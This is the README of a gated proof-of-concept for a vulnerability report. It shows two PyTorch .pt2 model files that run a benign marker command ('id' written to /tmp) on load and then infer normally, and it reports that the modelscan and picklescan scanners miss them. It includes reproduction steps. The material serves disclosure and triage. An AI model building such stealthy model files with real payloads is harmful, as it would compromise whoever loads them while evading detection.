aslein1413/poc-torch-export-pt2-rce

PoC — Torch Export (.pt2) code execution on load

Gated proof-of-concept for a huntr Model File Vulnerability report. Access is restricted; the files here execute a benign marker command when loaded.

Do not load these files on a machine you care about. They are here so the huntr triage team can reproduce the report.

Files

File	Path exercised	What it does when loaded
evil_pt2_stealth.pt2	pickle — data/weights/* with use_pickle: true	runs id > /tmp/PWNED_PT2.txt, then loads normally and infers normally
aoti_stealth.pt2	native — bundled AOTInductor .so is dlopen'd	runs id > /tmp/PWNED_AOTI.txt, then loads normally and infers normally

Both payloads only write the output of id to a file under /tmp. Nothing else.

Reproduce

docker run --rm -it -v "$PWD:/artifacts:ro" python:3.12-slim bash
pip install torch --index-url https://download.pytorch.org/whl/cpu

python - <<'PY'
import os, torch

# ---- pickle path ----
m = "/tmp/PWNED_PT2.txt"
os.path.exists(m) and os.remove(m)
ep = torch.export.load("/artifacts/evil_pt2_stealth.pt2")
print("loaded:", type(ep).__name__)
print("inference:", tuple(ep.module()(torch.randn(1, 4)).shape))
print("marker:", open(m).read().strip())

# ---- native path ----
m2 = "/tmp/PWNED_AOTI.txt"
os.path.exists(m2) and os.remove(m2)
mod = torch._inductor.aoti_load_package("/artifacts/aoti_stealth.pt2")
print("loaded:", type(mod).__name__)
print("inference:", tuple(mod(torch.randn(1, 4)).shape))
print("marker:", open(m2).read().strip())
PY

Verified on python:3.12-slim with stock torch 2.13.0+cpu, and the pickle path also on Windows 11 with Python 3.14.6 / torch 2.13.0+cpu (marker contained the Windows username).

Scanner results on these exact files

modelscan  0.8.8  -> No issues found  (every archive member skipped)
picklescan        -> Scanned files: 0

A conventional malicious .pt control in the same environment is flagged CRITICAL by modelscan and infected by picklescan, so the tooling itself was working.